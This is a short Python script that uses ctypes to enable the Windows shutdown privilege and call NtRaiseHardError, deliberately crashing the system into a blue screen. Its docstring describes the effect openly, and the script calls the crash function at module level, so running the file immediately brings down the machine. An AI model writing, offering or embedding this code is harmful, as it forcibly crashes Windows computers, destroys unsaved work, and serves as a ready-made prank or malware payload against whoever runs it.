import ctypes

def blue_screen():
    """
    Function to trigger a blue screen in Windows using ctypes library.

    This function directly calls the Windows API to initiate a blue screen.
    It should be used with caution as it forcefully restarts the system.

    Raises:
    - WindowsError:
        Raises an error if the blue screen operation fails.
    """

    # Using ctypes to call the Windows API for blue screen
    ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_bool()))
    ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6, ctypes.byref(ctypes.c_ulong()))

# Triggering the blue screen
blue_screen()